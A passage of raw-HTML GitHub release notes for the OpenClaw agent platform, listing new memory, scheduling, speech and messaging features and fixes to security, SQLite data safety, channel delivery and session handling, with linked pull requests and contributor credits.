href="https://github.com/openclaw/openclaw/issues/113218">#113218</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anagnorisis2peripeteia/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anagnorisis2peripeteia">@anagnorisis2peripeteia</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/FMLS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/FMLS">@FMLS</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cursoragent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cursoragent">@cursoragent</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hxy91819/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hxy91819">@hxy91819</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li><strong>Memory:</strong> add fast active-memory recall, default cross-conversation recall for personal installs, guided imports from Claude Code/Codex/Hermes, and a dedicated Memory settings page. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4889734313" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108043" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108043/hovercard" href="https://github.com/openclaw/openclaw/pull/108043">#108043</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4917681199" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110597" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110597/hovercard" href="https://github.com/openclaw/openclaw/pull/110597">#110597</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4901780225" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108977" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108977/hovercard" href="https://github.com/openclaw/openclaw/pull/108977">#108977</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4979254607" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114037" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114037/hovercard" href="https://github.com/openclaw/openclaw/pull/114037">#114037</a>)</li>
<li><strong>Scheduling:</strong> add per-job dynamic cadence, gated script payloads, durable schedule-source streaming, cron-backed heartbeat monitors, heartbeat-task conversion, current-conversation defaults, and <code>/loop</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920182664" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110978" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110978/hovercard" href="https://github.com/openclaw/openclaw/pull/110978">#110978</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920834867" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111112" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111112/hovercard" href="https://github.com/openclaw/openclaw/pull/111112">#111112</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4941953696" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112387" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112387/hovercard" href="https://github.com/openclaw/openclaw/pull/112387">#112387</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4946513835" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112585" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112585/hovercard" href="https://github.com/openclaw/openclaw/pull/112585">#112585</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963424343" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113165" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113165/hovercard" href="https://github.com/openclaw/openclaw/pull/113165">#113165</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4984579186" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114328" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114328/hovercard" href="https://github.com/openclaw/openclaw/pull/114328">#114328</a>)</li>
<li><strong>Fish Audio speech:</strong> add hosted S2.1 synthesis with streaming, voice notes, voice discovery, and telephony, plus local Fish S2 Pro reference-voice streaming in native macOS Talk. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5007325933" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/115790" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/115790/hovercard" href="https://github.com/openclaw/openclaw/pull/115790">#115790</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Rheingold777/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Rheingold777">@Rheingold777</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ImLukeF/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ImLukeF">@ImLukeF</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Conan-Scott/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Conan-Scott">@Conan-Scott</a>.</li>
<li><strong>Control UI setup:</strong> continue verified model setup into Custodian, explain that the web app is ready without a channel, and offer an optional dismissible path to Channels. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5013446836" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116078" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116078/hovercard" href="https://github.com/openclaw/openclaw/pull/116078">#116078</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5013446867" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116079" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116079/hovercard" href="https://github.com/openclaw/openclaw/pull/116079">#116079</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li><strong>Buzz messaging:</strong> preserve Markdown and structured room content, then add room- and thread-scoped typing indicators with reconnect-safe lifecycle handling. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5013956514" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116096/hovercard" href="https://github.com/openclaw/openclaw/pull/116096">#116096</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5015616330" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116194" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116194/hovercard" href="https://github.com/openclaw/openclaw/pull/116194">#116194</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li><strong>Automations naming:</strong> rename the scheduler-facing <code>cron</code> agent tool and visible CLI/UI surfaces to Automations while retaining the compatible CLI alias. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4993820836" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114841" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114841/hovercard" href="https://github.com/openclaw/openclaw/pull/114841">#114841</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4994085624" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114854" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114854/hovercard" href="https://github.com/openclaw/openclaw/pull/114854">#114854</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4994077753" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114853" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114853/hovercard" href="https://github.com/openclaw/openclaw/pull/114853">#114853</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/omarshahine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/omarshahine">@omarshahine</a>.</li>
<li><strong>DuckDuckGo search:</strong> move DuckDuckGo search into the plugin boundary so provider ownership, installation, and runtime behavior stay outside core. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5028300071" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116740" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116740/hovercard" href="https://github.com/openclaw/openclaw/pull/116740">#116740</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li><strong>Security and authorization:</strong> prevent channel allowlists from granting owner access, keep session exports inside the workspace, close a forged-marker/web-search boundary bypass, prevent non-owner ACP session exposure, reject unsafe explicit approval IDs, harden secret redaction and exec/OAuth approvals, validate downloaded install scripts, and prevent insecure secrets-plan writes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4882431632" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/107403" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/107403/hovercard" href="https://github.com/openclaw/openclaw/pull/107403">#107403</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4865474684" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/104984" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/104984/hovercard" href="https://github.com/openclaw/openclaw/issues/104984">#104984</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4864167353" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/104708" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/104708/hovercard" href="https://github.com/openclaw/openclaw/pull/104708">#104708</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4842949536" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/102391" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/102391/hovercard" href="https://github.com/openclaw/openclaw/issues/102391">#102391</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916760141" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110417" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110417/hovercard" href="https://github.com/openclaw/openclaw/pull/110417">#110417</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4918730118" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110745" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110745/hovercard" href="https://github.com/openclaw/openclaw/pull/110745">#110745</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848751013" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/103055" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/103055/hovercard" href="https://github.com/openclaw/openclaw/issues/103055">#103055</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4920560447" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111055" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111055/hovercard" href="https://github.com/openclaw/openclaw/pull/111055">#111055</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4956201887" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112947" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112947/hovercard" href="https://github.com/openclaw/openclaw/pull/112947">#112947</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4956230383" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112952" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112952/hovercard" href="https://github.com/openclaw/openclaw/pull/112952">#112952</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4956260493" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112953" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112953/hovercard" href="https://github.com/openclaw/openclaw/pull/112953">#112953</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4956316660" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112956" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112956/hovercard" href="https://github.com/openclaw/openclaw/pull/112956">#112956</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4956190781" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112946" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112946/hovercard" href="https://github.com/openclaw/openclaw/pull/112946">#112946</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4956320154" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112957" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112957/hovercard" href="https://github.com/openclaw/openclaw/pull/112957">#112957</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4967767482" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113307" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113307/hovercard" href="https://github.com/openclaw/openclaw/pull/113307">#113307</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4583578238" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90013" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/90013/hovercard" href="https://github.com/openclaw/openclaw/issues/90013">#90013</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4976048942" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113707" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113707/hovercard" href="https://github.com/openclaw/openclaw/pull/113707">#113707</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yetval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yetval">@yetval</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</li>
<li><strong>SQLite and data safety:</strong> commit session indexes before transcript eviction, preserve state through maintenance races and live-WAL verification, reject invalid backups and schema data loss, make snapshot publication crash-recoverable, retain complete backups after interrupted commits, and evict only the exact corrupted cached database owner so repairs recover without a Gateway restart. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4894307684" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/108378" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/108378/hovercard" href="https://github.com/openclaw/openclaw/pull/108378">#108378</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4965138236" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113216" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113216/hovercard" href="https://github.com/openclaw/openclaw/pull/113216">#113216</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4964941220" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113209" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/113209/hovercard" href="https://github.com/openclaw/openclaw/issues/113209">#113209</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4964941397" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113210" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/113210/hovercard" href="https://github.com/openclaw/openclaw/issues/113210">#113210</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4964941625" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113211" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/113211/hovercard" href="https://github.com/openclaw/openclaw/issues/113211">#113211</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4966782299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113287" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113287/hovercard" href="https://github.com/openclaw/openclaw/pull/113287">#113287</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4966294500" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113265" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/113265/hovercard" href="https://github.com/openclaw/openclaw/issues/113265">#113265</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4970165944" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113367" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113367/hovercard" href="https://github.com/openclaw/openclaw/pull/113367">#113367</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4973809093" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113473" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113473/hovercard" href="https://github.com/openclaw/openclaw/pull/113473">#113473</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4975353871" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113607" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113607/hovercard" href="https://github.com/openclaw/openclaw/pull/113607">#113607</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4979076299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114016" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114016/hovercard" href="https://github.com/openclaw/openclaw/pull/114016">#114016</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4984209059" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114278" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114278/hovercard" href="https://github.com/openclaw/openclaw/pull/114278">#114278</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yetval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yetval">@yetval</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rizquuula/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rizquuula">@rizquuula</a>.</li>
<li><strong>Channel delivery:</strong> stop Telegram durable-ingress loss across restarts and persist offsets only after spool writes, preserve Discord/iMessage/WhatsApp traffic across crashes or restarts, restore assistant context and interrupted turns after restart, suppress outbound echoes, deliver ingress retries whose queued run was dropped, report finalized Telegram previews to plugins, validate native settings, and preserve Telegram ingress outcomes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4881188067" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/107288" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/107288/hovercard" href="https://github.com/openclaw/openclaw/pull/107288">#107288</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4880774610" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/107246" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/107246/hovercard" href="https://github.com/openclaw/openclaw/issues/107246">#107246</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4970190142" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113368" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/113368/hovercard" href="https://github.com/openclaw/openclaw/pull/113368">#113368</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4968088407" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/113315" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/113315/hovercard" href="https://github.com/openclaw/openclaw/issues/113315">#113315</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4915840254" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110274" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110274/hovercard" href="https://github.com/openclaw/openclaw/pull/110274">#110274</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916709201" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110409" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110409/hovercard" href="https://github.com/openclaw/openclaw/pull/110409">#110409</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916764289" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110418" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110418/hovercard" href="https://github.com/openclaw/openclaw/pull/110418">#110418</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4946157584" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112548" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112548/hovercard" href="https://github.com/openclaw/openclaw/pull/112548">#112548</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4945617210" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112520" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/112520/hovercard" href="https://github.com/openclaw/openclaw/issues/112520">#112520</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4946259268" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112562" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112562/hovercard" href="https://github.com/openclaw/openclaw/pull/112562">#112562</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4979441234" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114058" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114058/hovercard" href="https://github.com/openclaw/openclaw/pull/114058">#114058</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4987213784" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/114531" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/114531/hovercard" href="https://github.com/openclaw/openclaw/pull/114531">#114531</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4922114295" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/111341" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/111341/hovercard" href="https://github.com/openclaw/openclaw/pull/111341">#111341</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5009431129" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/115891" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/115891/hovercard" href="https://github.com/openclaw/openclaw/pull/115891">#115891</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5009370223" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/115888" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/115888/hovercard" href="https://github.com/openclaw/openclaw/issues/115888">#115888</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5015916165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116214" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116214/hovercard" href="https://github.com/openclaw/openclaw/pull/116214">#116214</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5015259905" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116171" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/116171/hovercard" href="https://github.com/openclaw/openclaw/issues/116171">#116171</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5028766271" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/116773" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/116773/hovercard" href="https://github.com/openclaw/openclaw/pull/116773">#116773</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/carlosjarenom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/carlosjarenom">@carlosjarenom</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JesusSerrano-Seimako/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JesusSerrano-Seimako">@JesusSerrano-Seimako</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/edenfunf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/edenfunf">@edenfunf</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li><strong>Sessions and transcripts:</strong> preserve final replies, active turns, Codex-bound history, and transcript cursors; prevent repeated tool-call IDs from poisoning sessions; close lifecycle races and cross-agent deadlocks; keep migrated transcripts usable after restart; and preserve TUI session state across switches and reconnects. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4887379482" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/107799" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/107799/hovercard" href="https://github.com/openclaw/openclaw/pull/107799">#107799</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4875768265" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/106594" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/106594/hovercard" href="https://github.com/openclaw/openclaw/issues/106594">#106594</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916570109" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110389" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110389/hovercard" href="https://github.com/openclaw/openclaw/pull/110389">#110389</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4917250669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/110518" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/110518/hovercard" href="https://github.com/openclaw/openclaw/pull/110518">#110518</a>; related <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4906935650" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/109443" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/109443/hovercard" href="https://github.com/openclaw/openclaw/issues/109443">#109443</a>; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4934818775" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112016" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/112016/hovercard" href="https://github.com/openclaw/openclaw/pull/112016">#112016</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4957224483" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/112988" data-hovercard-type="pull_request" 